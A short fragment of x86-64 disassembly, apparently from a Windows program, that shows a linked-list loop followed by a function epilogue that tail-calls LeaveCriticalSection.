mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001f28
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]